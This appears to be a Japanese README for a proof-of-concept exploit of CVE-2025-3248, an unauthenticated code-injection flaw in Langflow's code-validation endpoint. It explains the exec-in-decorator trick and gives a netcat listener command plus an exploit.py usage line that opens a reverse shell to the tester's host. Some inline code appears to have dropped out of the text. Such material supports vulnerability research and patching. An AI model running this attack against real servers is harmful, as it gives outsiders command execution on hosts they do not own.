
CVE-2025-3248の概念実証エクスプロイト。Langflowにおける未認証のリモートコード実行脆弱性であり、/api/v1/validate/codeエンドポイントを介したコードインジェクションを実証します。
CVE-2025-3248 の概念実証エクスプロイトです。これは、AI/LLMワークフロー構築プラットフォームである Langflow における未認証のリモートコード実行の脆弱性です。
Langflow は、UI から送信された Python コードのスニペット(例:カスタムコンポーネントコード)を「検証」するためのエンドポイント POST /api/v1/validate/code を公開しています。内部的には ast.parse() / compile() を使用してコードを解析・コンパイルし、有効かどうかを報告します — 認証は不要です。
バグの内容: Python は デコレータ式を解析・コンパイル時に評価 します。これは、デコレートされた関数が呼び出される前です。送信された「検証するコード」に次のようなデコレータが含まれている場合:
@exec("...悪意のあるコード...")
def test():
pass
exec(...) 呼び出しはコードが解析された瞬間に実行されます — 検証は実際に を呼び出す必要はありません。認証なしとサンドボックスなしが組み合わさることで、1つの未認証HTTPリクエストだけで Langflow を実行しているホスト上で任意のコマンドを実行できます。
test()nc -lvnp 9001
python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
pip install requests
このコードは教育目的および許可されたセキュリティテスト(ラボ、CTF、明示的な書面による許可を得たエンゲージメント)のみを目的として提供されています。所有していないシステム、またはテストする明示的な許可がないシステムに対してこれを実行しないでください。著者は誤用について責任を負いません。